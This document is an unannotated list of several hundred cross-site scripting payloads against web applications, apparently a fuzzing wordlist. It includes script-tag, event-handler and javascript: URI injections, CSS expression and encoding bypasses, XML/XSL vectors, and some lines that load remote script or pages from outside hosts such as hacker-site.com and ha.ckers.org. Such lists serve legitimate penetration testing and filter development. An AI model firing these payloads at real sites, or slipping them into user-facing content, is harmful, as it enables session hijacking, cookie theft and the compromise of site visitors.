-1<meta http-equiv="refresh" content="0;url=javascript:document.cookie=true;">
-1<object classid="clsid:..." codebase="javascript:document.cookie=true;">
-1<script>document.cookie=true;//--></script>
-1<style type="text/javascript">document.cookie=true;</style>
-1<style><!--</style><script>document.cookie=true;//--></script>
-1<xml id="X"><a><b><script>document.cookie=true;</script>;</b></a></xml>
-1<xml src="javascript:document.cookie=true;">
-1exp/*<A STYLE='no\CrossSiteScripting:noCrossSiteScripting("*//*");CrossSiteScripting:ex/*CrossSiteScripting*//*/*/pression(document.cookie=true)'>
-1¼script¾document.cookie=true;¼/script¾
-alert(1)-
-confirm(1)-
-prompt(1)-
-{valueOf(){alert`:D`}}
.__defineGetter__.constructor('[].constructor.
/"/_javascript:prompt(/xss/.source);var x = prompt;x(0);x(/XSS/.source);x
/"onafterscriptexecute=alert('XSS') 1='
/#?gad=xxxx"onload="alert(1)"
/*-->]]]]><
/<script>alert(1234)</script>
/><input>
/alert`2`/i
/textarea><script>alert(1)</script>
0%5C"))%7Dcatch(e)%7Bif(!window.x)%7Bwindow.x=1;alert(1)%7D%7D//
0\%22))}catch(e){confirm(2)}//
1';alert(/XSS/);x='1
1/confirm(1)
10,103,64,82,69,77,79,86,69,34,41,60,47,115,99,114,105,112,116,62));">String:fr
101,114,116,40,34,67,114,111,115,115,83,105,116,101,83,99,114,105,112,116,105,1
12&<script>alert(123)</script>=123
1337in alert(1)
1;alert(/XSS/);
1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>
1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=alert(1)>>
1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=alert(1)>>
1<comment onresize=alert(1) contenteditable>1
1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=alert(1)>`>
1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#X></vmlframe>
3Cscript%3Ealert(1)%3C%2Fscript%3E
5.replace(/XSS/g,confirm)
500);alert(1);//
;!--"<XSS>=&{()}"
;\"))}catch(e) {confirm(document.location);}//
;\\"))}catch(e) {confirm(document.location);}//
;alert%28String.fromCharCode%2875,67,70%29%29//\%27;alert%28String.fromCharCode%2875,67,70%29%29//%22;alert%28String.fromCharCode%2875,67,70%29%29//\%22;alert%28String.fromCharCode%2875,67,70%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2875,67,70%29%29%3C/SCRIPT%3E
;alert(123);
;alert(18);
;javascript:confirm(0);
;onerror=confirm;throw 1;
;prompt(1)//”;prompt(2)//”;prompt(3)//–></SCRIPT>”>’><SCRIPT>prompt(4)</SCRIPT>
;})javascript:confirm(0);
< %3C < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003C
< / script >< script >alert(123)< / script >
< / script >< script >alert(8)< / script >
< s c r i p t > p r o m p t ( 1 ) < / s c r i p t >
<! foo="><script>alert(1)</script>
<! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>
<!'/!"/!\'/\"/--!><Input/Type=Text AutoFocus */; OnFocus=(confirm)(document.cookie) //>
<!-- -- --><script>alert('XSS');</script><!-- -- -->
<!-- -- --><script>alert(1);</script>
<!-- -- --><script>document.cookie=true;</script><!-- -- -->
<!-- --!><script>alert(X)</script>-->
<!-- IE 5-8 standards mode --><a href=http://foo.bar/#x=`y></a><img alt="`><img src=xx:x onerror=alert(1)></a>"><!-- IE 5-9 standards mode --><!a foo=x=`y><img alt="`><img src=xx:x onerror=alert(2)//"><?a foo=x=`y><img alt="`><img src=xx:x onerror=alert(3)//">
<!-- IE 5-9 --><div id=d><x xmlns="><iframe onload=alert(1)"></div><script>d.innerHTML+='';</script><!-- IE 10 in IE5-9 Standards mode --><div id=d><x xmlns='"><iframe onload=alert(2)//'></div><script>d.innerHTML+='';</script>
<!-- IE 6-8 --><x '="foo"><x foo='><img src=x onerror=alert(1)//'><!-- IE 6-9 --><! '="foo"><x foo='><img src=x onerror=alert(2)//'><? '="foo"><x foo='><img src=x onerror=alert(3)//'>
<!-- Up to Opera 10.63 --><div style=content:url(test2.svg)></div><!-- Up to Opera 11.64 - see link below --><!-- Up to Opera 12.x --><div style="background:url(test5.svg)">PRESS ENTER</div>
<!-- `<? foo="><script>confirm(1)</script>">
<!-- `<img/src=xx:xx onerror=alert(1)//--!>
<!-- up to Opera 11.52, FF 3.6.28 --><![><img src="]><img src=x onerror=alert(1)//"><!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ --><svg><![CDATA[><image xlink:href="]]]]><![CDATA[><img src=xx:x onerror=alert(2)//"></svg>
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://vulnerability-lab.com/CrossSiteScripting.js></SCRIPT>'"-->
<!----!><img src=1 onerror=alert(2)> -->
<!---><img src=1 onerror=alert(1)> -->
<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG id=XSS SRC="javas<![CDATA[cript:alert('XSS');">
<!--><img src=1 onerror=alert(3)> -->
<!--[if gte IE 4]> <SCRIPT>alert('CrossSiteScripting');</SCRIPT> <![endif]-->
<!--[if gte IE 4]><SCRIPT>alert(1);</SCRIPT>
<!--[if<img src=x onerror=alert(2)//]> -->
<!--[if<img src=x onerror=javascript:alert(205)//]> -->
<!--[if]><script>alert(1)</script -->
<!--[if]><script>alert(1)</script --><!--[if<img src=x onerror=alert(2)//]> -->
<!--[if]><script>javascript:alert(204)</script -->
<!--jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e-->
<!</textarea <body onload='alert(1)'>
<!><!----><?></>
<!ATTLIST xsl:stylesheet id ID #REQUIRED>]>
<!DOCTY
<!DOCTY.
<!DOCTYPE a [<!ENTITY b SYSTEM '1' NDATA c><!ENTITY d SYSTEM '2' NDATA e><!NOTATION e SYSTEM '3'>]><f/>
<!DOCTYPE x [ <!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "xx:x" onerror CDATA "alert(1)" onload CDATA "alert(2)">]><img />
<!DOCTYPE x[<!ENTITY x SYSTEM "http://127.0.0.1:3555/xss_serve_payloads/X.html">]><y>&x;</y>
<!ENTITY x "<html:img src='x' xmlns:html='http://www.w3.org/1999/xhtml' onerror='alert(1)'/>">
<![
<![<CDATA[C%Ada b="c":]]]]]><![CDATA[>
<![C b="c">
<![CDAT<!
<![CDATA[<!--]]<script>alert(1);//--></script>
<![CDATA[<script>alert(X)</script>]]]]><![CDATA[>
<![CDAĹĹ@
<![CDb m="c">
<!a foo=x=`y><img alt="`><img src=x:x onerror=alert(2)//">
<"<i<d<=<x< c<o<n<t<e<n<t<e<d<i<t<a<b<l<e</<
<"<o<n<b<l<u<r<=<'<`
<"script">"alert(0)"</"script">
<% contenteditable onresize=alert(1)>
<% contenteditable onresize=alert(1)>&artistName=and%20courtesy%20of%20Apple%3C/strong%3E%3F%3Ciframe%20src%3D%22http%3A//www.reddit.com/r/xss/new/%22%20width%3D%22643%22%20height%3D%22239%22%20frameborder%3D%220%22%3E%3C/iframe%3E%3Cbr/%3EGood%20job,%20Apple&thumbnailUrl=http%3A//www.fireblog.com/wp-content/uploads/2009/04/xss-threat3.jpg&albumName=XSS%20Exploits
<% foo><x foo="%><script>alert(1)</script>
<% style=behavior:url(: onreadystatechange=alert(1)>
<%/%=%><p/onresize=alert(1)//>
<%/%=%><p/onresize=alert(1)//>
<%0ascript>alert(1);</script>
<%0bscript>alert(1);</script>
<%78 onxxx=1
<%= puts "test" %>
<javascript:alert('XSS')>
<*script>prompt(123)<*/script>
</ foo="><script>alert(1)</script>
</**/style=x:expression\28write(1)\29>
<// style=x:expression\28write(1)\29>
</SCRIPT>>><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>
</SCRIPT>>><SCRIPT>prompt(1)</SCRIPT>
</SCRIPT>><SCRIPT>alert(String.fromCharCode(75,67,70))
</SCRIPT>><SCRIPT>prompt(1)</SCRIPT>
</SCRIPT>”><SCRIPT>alert(String.fromCharCode(75,67,70))
</SCRIPT>”><SCRIPT>prompt(1)</SCRIPT>
</SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>
</SCRIPT>”>”><SCRIPT>prompt(1)</SCRIPT>
</TITLE><SCRIPT>alert("CrossSiteScripting");</SCRIPT>
</TITLE><SCRIPT>alert(1);</SCRIPT>
</TITLE><SCRIPT>document.cookie=true;</SCRIPT>
</a onmousemove="alert(1)">
</a onmousemove=alert(1)>
</br style=a:expression(alert(1))>
</script "/*'/*><img/src=x */; onerror=alert(1) //
</script "/*'/*><svg */; onload=alert(1) //>
</script "//'//><svg%0Aonload=alert(1)//>
</script%0A-_-><script>confirm(1)</script%0A-_->
</script%0a><script%0a>confirm(1)</script%0a>
</script%20><script%20>confirm(1)</script%20>
</script/x><scr<script>ipt>alert(1)</script/x>
</script/x><svg onload=alert(domain)>
</script>"//'//<svg%0Aonload=alert(1) //>
</script>"//'//<svg%0Aonload=alert(1)//>
</script>'//<svg "%0Aonload=alert(1) //>
</script>'//<svg "%0Aonload=alert(1)// />
</script></script><<<<script><>>>><<<script>alert(XSS)</script>
</script><img '//"%0Aonerror=alert(1)// src=1>
</script><img '//"%0Aonerror=alert(1)// src>
</script><img src '//"%0Aonerror=alert(1)//
</script><script >alert(1)</script>
</script><script>/*"/*'/**/;alert(1)//</script>#
</script><script>/*var a="/*""'/**/;alert(1);//</script>
</script><script>alert(0x000123)</script>
</script><script>alert(1)+"
</script><script>alert(123)</script>
</script><script>alert(7)</script>
</script><script>alert(String.fromCharCode(75,67,70))</script>
</script><script>alert(X
</script><script>prompt(1)</script>
</script><svg onload='-/"/-[alert(1)]//'/>
</script><svg onload='-/"/-alert(1)//'>
</script><svg>"-alert(3)//
</style></script><script>alert(0x000123)</script>
</textarea>'"><script>alert(XSS)</script>
</textarea><script>alert(225)</script>
</title<marquee/onstart=confirm(1)>xxxx
<<SCRIPT>alert(XSS);//<</SCRIPT>
<<SCRIPT>alert("221");//<</SCRIPT>
<<SCRIPT>alert("CrossSiteScripting");//<</SCRIPT>
<<SCRIPT>alert(1);/
<<SCRIPT>alert(1);//<</SCRIPT>
<<scr\0ipt/src=http://127.0.0.1:3555/xss_serve_payloads/X.js></script
<<scr\0ipt/src=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp></script
<<script>alert("WXSS");//<</script>
<<script>alert(1);</script>
<<script>document.cookie=true;</script>
<? echo('<SCR)';echo('IPT>alert(1)</SCRIPT>'); ?>
<? echo('<SCR)';echo('IPT>document.cookie=true</SCRIPT>'); ?>
<? foo="><script>alert(1)</script>
<? foo="><x foo='?><script>alert(1)</script>
<?a foo=x=`y><img alt="`><img src=x:x onerror=alert(3)//">
<?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="X<SCRIPT DEFER>alert("X")</SCRIPT>"></BODY></HTML>
<?xml standalone?>
<?xml version="1.0" encoding="utf-8" ?><x:script
<?xml version="1.0"?> x><payload><![CDATA[<img src=x onerror=alert(1)>]]]]><![CDATA[></payload></x>
<?xml version="1.0"?><?xml-stylesheet type="text/xml" href="#stylesheet"?><!DOCTYPE doc [<!ATTLIST xsl:stylesheet id ID #REQUIRED>]><svg xmlns="http://www.w3.org/2000/svg"> <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(1)"></iframe> </xsl:template> </xsl:stylesheet> <circle fill="red" r="40"></circle></svg>
<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?><root/>
<?xml version="2.666666666666666666667666666">
<?xml-stylesheet href="javascript:alert(1)"?><root/>
<?xml-stylesheet type="text/xsl" href="#" ?> <stylesheet xmlns="http://www.w3.org/TR/WD-xsl"> <template match="/"> <eval>new ActiveXObject('htmlfile').parentWindow.alert(1)</eval> <if expr="new ActiveXObject('htmlfile').parentWindow.alert(2)"></if> </template> </stylesheet>
<?xml-stylesheet type="text/xsl" href="#" ?><stylesheet xmlns="http://www.w3.org/TR/WD-xsl"><template match="/"><eval>new ActiveXObject('htmlfile').parentWindow.alert(1)</eval><if expr="new ActiveXObject('htmlfile').parentWindow.alert(2)"></if></template></stylesheet>
<A CLASS=X></A>
<A HREF="//127.0.0.1:3555/xss_serve_payloads/X.html">X</A>
<A HREF="//google">X</A>
<A HREF="h tt p://6	6.000146.0x7.147/">X</A>
<A HREF="htt p://6 6.000146.0x7.147/">XSS</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">CrossSiteScripting</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">X</A>
<A HREF="http://1113982867/">CrossSiteScripting</A>
<A HREF="http://1113982867/">X</A>
<A HREF="http://127.0.0.1:3555/xss_serve_payloads/X.html./">X</A>
<A HREF="http://127.0.0.1:3555/xss_serve_payloads/X.html@google">X</A
<A HREF="http://google:127.0.0.1:3555/xss_serve_payloads/X.html">X</A>
<A HREF="http://server.com/">CrossSiteScripting</A>
<A HREF="javascript:document.location='http://127.0.0.1:3555/xss_serve_payloads/X.html'">X</A>
<A HREF="javascript:document.location='http://www.vulnerability-lab.com/'">CrossSiteScripting</A>
<A href="javascrip%09t:eval.apply`${[jj.className+`(23)`]}`" id=jj class=alert>Click Here
<APPLET+CODE=""+CODEBASE="http://url/xss">
<BASE HREF="javascript:alert('CrossSiteScripting');//">
<BASE HREF="javascript:alert(1);//">
<BASE HREF="javascript:document.cookie=true;//">
<BGSOUND SRC="javascript:alert('CrossSiteScripting');">
<BGSOUND SRC="javascript:alert(1);">
<BGSOUND SRC="javascript:document.cookie=true;">
<BGSOUND id=XSS SRC="javascript:alert('XSS');">
<BODY BACKGROUND=javascript:alert(XSS)>
<BODY BACKGROUND="javascript:alert('CrossSiteScripting')">
<BODY BACKGROUND="javascript:alert(1)">
<BODY BACKGROUND="javascript:document.cookie=true;">
<BODY ONLOAD=alert(XSS)>
<BODY ONLOAD=alert('CrossSiteScripting')>
<BODY ONLOAD=alert(1)>
<BODY ONLOAD=alert(íXSSí)>
<BODY ONLOAD=document.cookie=true;>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("220")>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("CrossSiteScripting")>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("X")>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(1)>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.cookie=true;>
<BR SIZE="&{alert('CrossSiteScripting')}">
<BR SIZE="&{alert(1)}">
<BR SIZE="&{document.cookie=true}">
<CrossSiteScripting STYLE="CrossSiteScripting:expression(alert('CrossSiteScripting'))"> exp/*<A STYLE='no\CrossSiteScripting:noCrossSiteScripting("*//*"); CrossSiteScripting:ex/*CrossSiteScripting*//*/*/pression(alert("CrossSiteScripting"))'>
<CrossSiteScripting STYLE="CrossSiteScripting:expression(document.cookie=true)">
<CrossSiteScripting STYLE="behavior: url(CrossSiteScripting.htc);">
<DIV STYLE="background-image: url(javascript:alert('XSS'));">
<DIV STYLE="background-image: url(javascript:alert(1))">
<DIV STYLE="background-image: url(javascript:alert('CrossSiteScripting'))">
<DIV STYLE="background-image: url(javascript:alert(1))">
<DIV STYLE="background-image: url(javascript:document.cookie=true;)">
<DIV STYLE="width: expression(alert('CrossSiteScripting'));">
<DIV STYLE="width: expression(alert(1));">
<DIV STYLE="width: expression(document.cookie=true);">
<DIV STYLE="width:\0065\0078\0070\0072\0065\0073\0073\0069\006F\006E\0028\0070\0072\006F\006D\0070\0074\0028\0031\0029\0029">
<DIV id=XSS STYLE="background-image: url(javascript:alert('XSS'))">
<DIV id=XSS STYLE="background-image: url(javascript:alert('XSS'))">
<DIV id=XSS STYLE="binding: url(javascript:alert('XSS'));">
<DIV id=XSS STYLE="width: expression(alert('XSS'));">
<DIV+STYLE="background-image: url(javascript:alert(1))">
<EMBED SRC="http://127.0.0.1:3555/xss_serve_payloads/flash.swf"></EMBED>
<EMBED SRC="http://vulnerability-lab.com/CrossSiteScripting.swf" AllowScriptAccess="always"></EMBED>
<FRAMESET><FRAME RC=""+"javascript:alert('X');"></FRAMESET>
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
<FRAMESET><FRAME SRC="javascript:document.cookie=true;"></FRAMESET>
<FRAMESET><FRAME id=XSS SRC="javascript:alert('XSS');"></FRAMESET>
<FRAMESET><FRAME id=XSS SRC=\"javascript:alert('XSS');\"></FRAMESET>
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('CrossSiteScripting');+ADw-/SCRIPT+AD4-
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4-
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.cookie=true;+ADw-/SCRIPT+AD4-
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"></HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<HTML xmlns:CrossSiteScripting><?import namespace="CrossSiteScripting" implementation="http://ha.ckers.org/CrossSiteScripting.htc"><CrossSiteScripting:CrossSiteScripting>CrossSiteScripting</CrossSiteScripting:CrossSiteScripting>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="CrossSiteScripting<SCRIPT DEFER>document.cookie=true</SCRIPT>"></BODY></HTML>
<IFRAME SRC=http://hacker-site.com/xss.html>
<IFRAME SRC="javascript:alert(1);"></IFRAME>
<IFRAME SRC="javascript:document.cookie=true;"></IFRAME>
<IFRAME id=XSS SRC="javascript:alert('XSS'); <
<IFRAME id=XSS SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME/SRC=JAVASCRIPT:%61%6c%65%72%74%28%31%29></iframe> // Cross Browser (PEPE Vila)
<IMG ><SCRIPT>alert(XSS)</SCRIPT>>
<IMG """><SCRIPT>alert("206")</SCRIPT>">
<IMG """><SCRIPT>alert("CrossSiteScripting")</SCRIPT>">
<IMG """><SCRIPT>alert(1)</SCRIPT>">
<IMG DYN id=XSS SRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('CrossSiteScripting')">
<IMG DYNSRC="javascript:alert(1)">
<IMG DYNSRC="javascript:document.cookie=true;">
<IMG DYNid=XSS SRC="javascript:alert('XSS')">
<IMG LOW id=XSS SRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('CrossSiteScripting')">
<IMG LOWSRC="javascript:alert(1)">
<IMG LOWSRC="javascript:document.cookie=true;">
<IMG LOWid=XSS SRC="javascript:alert('XSS')">
<IMG ONERROR=VBS:EXECSCRIPT LCASE(ALERT(1)) SRC=A>
<IMG ONERROR=VBS:MSGBOX 1 SRC=A>
<IMG ONERROR=”VBS:EXECSCRIPT LCASE(‘ALERT(1)’)” SRC=A>
<IMG ONERROR=”VBS:MSGBOX 1” SRC=A>
<IMG SRC=jav ascript:alert(XSS);>
<IMG SRC=jav	ascript:alert(XSS);>
<IMG SRC=javascript:alert(XSS)
<IMG SRC=javascript:alert(XSS);>
<IMG SRC= onmouseover="alert('209')">
<IMG SRC=" javascript:alert('CrossSiteScripting');">
<IMG SRC=" javascript:alert(1);">
<IMG SRC=" javascript:document.cookie=true;">
<IMG SRC="  javascript:alert('219');">
<IMG SRC="  javascript:alert(1);">
<IMG SRC="http://www.vulnerability-lab.com/file.php?variables=malicious">
<IMG SRC="jav ascript:alert('X');">
<IMG SRC="jav ascript:alert(1);">
<IMG SRC="jav ascript:javascript:alert(1);">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('214');">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('CrossSiteScripting');">
<IMG SRC="jav ascript:document.cookie=true;">
<IMG SRC="jav	ascript:alert('215');">
<IMG SRC="jav	ascript:alert('CrossSiteScripting');">
<IMG SRC="jav	ascript:alert(1);">
<IMG SRC="jav	ascript:alert(<WBR>'XSS');"><IMG SRC="jav
ascript:alert(<WBR>'XSS');"><IMG SRC="jav
ascript:alert(<WBR>'XSS');">
<IMG SRC="jav
ascript:alert('216');">
<IMG SRC="jav
ascript:alert('CrossSiteScripting');">
<IMG SRC="jav
ascript:alert('X');">
<IMG SRC="jav
ascript:alert(1);">
<IMG SRC="jav
ascript:alert('217');">
<IMG SRC="jav
ascript:alert('CrossSiteScripting');">
<IMG SRC="jav
ascript:alert(1);">
<IMG SRC="javascript:alert('222')"
<IMG SRC="javascript:alert('CrossSiteScripting')"
<IMG SRC="javascript:alert('CrossSiteScripting');">
<IMG SRC="javascript:alert(1)"
<IMG SRC="javascript:alert(1);"
<IMG SRC="javascript:document.cookie=true;">
<IMG SRC=# onmouseover="alert('208')">
<IMG SRC=# onmouseover="alert('X')">
<IMG SRC=javascript:alert('212')>
<IMG SRC=javascript:alert('211')>
<IMG SRC=javascript:alert('KCF');>
<IMG SRC=javascri pt:alert(' XSS')>
<IMG SRC=javascript:alert('213')>
<IMG SRC='vbscript:msgbox("CrossSiteScripting")'>
<IMG SRC='vbscript:msgbox(1)'>
<IMG SRC=JaVaScRiPt:
<IMG SRC=JaVaScRiPt:alert('CrossSiteScripting')>
<IMG SRC=JaVaScRiPt:alert(1)>
<IMG SRC=`javascript:alert(X says, X)`>
<IMG SRC=`javascript:alert("Kerala Cyber Force, 'X'")`>
<IMG SRC=`javascript:alert("RM'CrossSiteScripting'")`>
<IMG SRC=`javascript:alert(1)`>
<IMG SRC=`javascript:alert(“X says, ‘X’”)`>
<IMG SRC=jAVasCrIPt:alert(XSS)>
<IMG SRC=javascript:alert(XSS)>
<IMG SRC=javascript:alert("CrossSiteScripting")>
<IMG SRC=javascript:alert("X")>
<IMG SRC=javascript:alert('CrossSiteScripting')>
<IMG SRC=javascript:alert(1)>
<IMG SRC=javascript:alert(String.fromCharCode(50,48,55))>
<IMG SRC=javascript:alert(String.fromCharCode(75,67,70))>
<IMG STYLE="CrossSiteScripting:expr/*CrossSiteScripting*/ession(alert('CrossSiteScripting'))">
<IMG STYLE="CrossSiteScripting:expr/*CrossSiteScripting*/ession(document.cookie=true)">
<IMG STYLE="X:expr/*X*/ession(alert(1))">
<IMG id=XSS SRC="  javascript:alert('XSS');">
<IMG id=XSS SRC="&14;javascript:alert('XSS');">
<IMG id=XSS SRC="jav ascript:alert('XSS');">
<IMG id=XSS SRC="jav ascript:alert('XSS');">
<IMG id=XSS SRC="jav	ascript:alert('XSS');">
<IMG id=XSS SRC="jav
ascript:alert('XSS');">
<IMG id=XSS SRC="jav
ascript:alert('XSS');">
<IMG id=XSS SRC="javascript:alert('XSS')"
<IMG id=XSS SRC="javascript:alert('XSS');">
<IMG id=XSS SRC="livescript:[code]">
<IMG id=XSS SRC="mocha:[code]">
<IMG id=XSS SRC=javascript:alert('XSS')>
<IMG id=XSS SRC=javascript:alert('XSS')>
<IMG id=XSS SRC=&{alert('XSS');};>
<IMG id=XSS SRC='javascript:alert('XSS')
<IMG id=XSS SRC='vbscript:msgbox("XSS")'>
<IMG id=XSS SRC=JaVaScRiPt:alert('XSS')>
<IMG id=XSS SRC=`javascript:alert("'XSS'")`>
<IMG id=XSS SRC=`javascript:alert("RSnake says, 'XSS'")`>
<IMG id=XSS SRC=javascript:alert("XSS")>
<IMG id=XSS SRC=javascript:alert('XSS')>
<IMG id=XSS SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG id=XSS STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<IMG onmouseover="alert('210')">
<IMG%20"""><SCRIPT>alert("WXSS")</SCRIPT>">
<IMG%20DYNSRC="javascript:alert('WXSS')">
<IMG%20LOWSRC="javascript:alert('WXSS')">
<IMG%20SRC="%20%20javascript:alert('WXSS');">
<IMG%20SRC="jav ascript:alert('WXSS');">
<IMG%20SRC="jav	ascript:alert('WXSS');">
<IMG%20SRC="jav
ascript:alert('WXSS');">
<IMG%20SRC="jav
ascript:alert('WXSS');">
<IMG%20SRC="javascript:alert('WXSS')"
<IMG%20SRC="javascript:alert('WXSS');">
<IMG%20SRC=javascript:alert('XSS')>
<IMG%20SRC=javascript:alert('XSS')>
<IMG%20SRC=javascript:alert('XSS')>
<IMG%20SRC='javasc
<IMG%20SRC='javasc ript:alert(document.cookie)'>
<IMG%20SRC=JaVaScRiPt:alert('WXSS')>
<IMG%20SRC=`javascript:alert("'WXSS'")`>
<IMG%20SRC=javascript:alert("WXSS")>
<IMG%20SRC=javascript:alert("WXSS")>
<IMG%20SRC=javascript:alert('WXSS')>
<IMG%20SRC=javascript:alert('XSS')>
<IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG+DYNSRC="javascript:alert(1);">
<IMG+LOWSRC="javascript:alert(1);">
<IMG+SRC="jav#x0D;ascript:alert(1);">
<IMG+SRC="jav%09ascript:alert(1);">
<IMG+SRC="jav%0dascript:alert(1);">
<IMG+SRC="jav	ascript:alert(1);">
<IMG+SRC="jav
ascript:alert(1);">
<IMG+SRC=javascript:alert('X')>
<IMG+SRC=javascript:alert('X')>
<IMG+SRC=jAvascript:alert(1)>
<INPUT TYPE=IMAGE SRC=javascript:alert(XSS);>
<INPUT TYPE="IMAGE" SRC="javascript:alert('CrossSiteScripting');">
<INPUT TYPE="IMAGE" SRC="javascript:alert(1);">
<INPUT TYPE="IMAGE" SRC="javascript:document.cookie=true;">
<INPUT TYPE="IMAGE" id=XSS SRC="javascript:alert('XSS');">
<INPUT+TYPE="IMAGE"+SRC="javascript:alert(1);">
<INPUT+TYPE="checkbox"+onDblClick=confirm(XSS)>
<LAYER SRC="http://vulnerability-lab.com/script.html"></LAYER>
<LAYER SRC="javascript:alert(1);"></LAYER>
<LAYER SRC="javascript:document.cookie=true;"></LAYER>
<LAYER id=XSS SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
<LINK REL="stylesheet" HREF="http://vulnerability-lab.com/CrossSiteScripting.css">
<LINK REL="stylesheet" HREF="javascript:alert('CrossSiteScripting');">
<LINK REL="stylesheet" HREF="javascript:alert(1);">
<LINK REL="stylesheet" HREF="javascript:document.cookie=true;">
<Layer+src="http://localhost">
<META HTTP-EQUIV="Link" Content="<http://vulnerability-lab.com/CrossSiteScripting.css>; REL=stylesheet">
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(1)</SCRIPT>">
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('CrossSiteScripting')</SCRIPT>">
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.cookie=true</SCRIPT>">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=jAvAsCriPt:aLeRt('CroSsSiteScrIpting');">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('CrossSiteScripting');">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(1);">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:image/svg+xml; base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html; base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('CrossSiteScripting');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(1);">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert(1);\">
<OBJECT TYPE="text/x-scriptlet" DATA="http://vulnerability-lab.com/scriptlet.html"></OBJECT>
<OBJECT classid=clsid:..." codebase="javascript:alert('XSS');">
<OBJECT classid=clsid:8856F961-340A-11D0-A96B-00C04FD705A2><PARAM NAME=Location VALUE=http://xss.cx>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('CrossSiteScripting')></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.cookie=true></OBJECT>
<Q%^&*(£@!’” style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)>
